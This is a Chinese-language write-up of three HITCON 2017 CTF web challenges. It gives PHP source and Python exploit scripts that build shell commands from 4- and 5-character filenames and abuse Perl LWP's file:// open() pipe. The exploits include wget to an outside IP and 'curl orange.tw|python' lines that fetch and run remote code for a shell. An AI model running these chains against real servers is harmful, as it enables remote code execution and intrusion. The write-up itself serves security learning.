HITCON2017 writeup(web)

国际赛还是水准比较高的,题目都很有通用性

一、BabyFirst Revenge

源码:

<?php
    $sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);
    @mkdir($sandbox);
    @chdir($sandbox);
    if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 5) {
        @exec($_GET['cmd']);
    } else if (isset($_GET['reset'])) {
        @exec('/bin/rm -rf ' . $sandbox);
    }
    highlight_file(__FILE__);

五个字符的命令执行,这个还是比较简单的,附上一种exp:

import requests

def exec_sub(cmd):
    resp = requests.post("http://52.199.204.34/?cmd="+cmd).text

def exec(cmd):
    for x in cmd:
        print(x)
        if cmd[-1]==x:
            exec_sub(">%s" % x)
            exec_sub("ls>>\\")
            exec_sub("rm %s" % x)          
        elif x==" ":
            exec_sub(">\\ \\")
            exec_sub("ls>>\\")
            exec_sub("rm ?\\")
        else:
            exec_sub(">%s\\" % x)
            exec_sub("ls>>\\")
            exec_sub("rm %s\\" % x)
    exec_sub("sh \\")

exec("wget 1759614952")

将命令分隔成单个字符,不断新建文件、写入、删除,用“\”连接起来即可,最后sh执行文件。

二、BabyFirst Revenge v2

源码:

<?php
    $sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);
    @mkdir($sandbox);
    @chdir($sandbox);
    if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 4) {
        @exec($_GET['cmd']);
    } else if (isset($_GET['reset'])) {
        @exec('/bin/rm -rf ' . $sandbox);
    }
    highlight_file(__FILE__);

v2变成四个字符了,这时就不能用rm了,保持顺序拼接命令就比较困难了,附上官方的exp

import requests
from urllib import quote

payload = [
    # 将 "g> ht- sl" 写到文件 "v"
    '>dir', 
    '>sl', 
    '>g\>',
    '>ht-',
    '*>v',

    # 将文件"v"中的字符串倒序,放到文件"x",就变成了 "ls -th >g"
    '>rev',
    '*v>x',

    # 生成命令 "curl orange.tw|python;"
    '>\;\\', 
    '>on\\', 
    '>th\\', 
    '>py\\', 
    '>\|\\', 
    '>tw\\',
    '>e.\\', 
    '>ng\\', 
    '>ra\\', 
    '>o\\', 
    '>\ \\', 
    '>rl\\', 
    '>cu\\', 

    # getshell
    'sh x', 
    'sh g', 
]


r = requests.get('http://52.197.41.31/?reset=1')
for i in payload:
    r = requests.get('http://52.197.41.31/?cmd=' + quote(i) )

这里用"*>v"的时候,会将目录下文件的名字连接起来,作为命令重定向到文件"v"

三、SSRFme?

源码:

<?php 
    $sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]); 
    @mkdir($sandbox); 
    @chdir($sandbox);

    $data = shell_exec("GET " . escapeshellarg($_GET["url"])); 
    $info = pathinfo($_GET["filename"]); 
    $dir  = str_replace(".", "", basename($info["dirname"])); 
    @mkdir($dir); 
    @chdir($dir); 
    @file_put_contents(basename($info["basename"]), $data); 
    highlight_file(__FILE__);

这题主要是利用了perl的open函数执行命令的特性,open函数的第二个参数可以将文件流用管道重定向到其它地方。比如open(FD,"|id")即可执行id命令。
perl的LWP对于file协议的处理就调用了open函数,查看file.pm文件如下:

...
opendir(D, $path) or
      return HTTP::Response->new( &HTTP::Status::RC_INTERNAL_SERVER_ERROR,
            "Cannot read directory '$path': $!");
...
# read the file
if ($method ne "HEAD") {
open(F, $path) or return new
    HTTP::Response(&HTTP::Status::RC_INTERNAL_SERVER_ERROR,
            "Cannot read file '$path': $!");
binmode(F);
$response =  $self->collect($arg, $response, sub {
    my $content = "";
    my $bytes = sysread(F, $content, $size);
    return \$content if $bytes > 0;
    return \ "";
});
close(F);
}
...

只要访问file://|whoami就能执行命令了,但前提是$path存在,所以要先建一个以要执行的命令为文件名的文件。最终的exp如下:

import requests

target = "http://13.115.136.15"
requests.get(target+"/?url=127.0.0.1&filename=|bash -c /readflag")
requests.get(target+"/?url=file:|bash -c /readflag&filename=1")
print(requests.get(target+"/sandbox/c9d6ffb50b54d12fc4dfe6a4d9676fd8/1").text)
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容

  • Android 自定义View的各种姿势1 Activity的显示之ViewRootImpl详解 Activity...
    passiontim阅读 174,081评论 25 709
  • Ubuntu的发音 Ubuntu,源于非洲祖鲁人和科萨人的语言,发作 oo-boon-too 的音。了解发音是有意...
    萤火虫de梦阅读 99,677评论 9 468
  • Spring Cloud为开发人员提供了快速构建分布式系统中一些常见模式的工具(例如配置管理,服务发现,断路器,智...
    卡卡罗2017阅读 135,131评论 19 139
  • 在这个雷雨过后闷热的夜晚,咳嗽的毛病又犯了,本来意识朦胧却被急咳震的五脏六腑都燥热起来,一下失去了困意。 回想自己...
    有生之年离别阅读 328评论 0 0
  • 魔咒之一: 当我把车开到停车场后,下了车,才发现右脚已经软得不好走路了,慢慢地走回办公室,用了十分钟的时间,平时五...
    微光绮梦阅读 421评论 0 1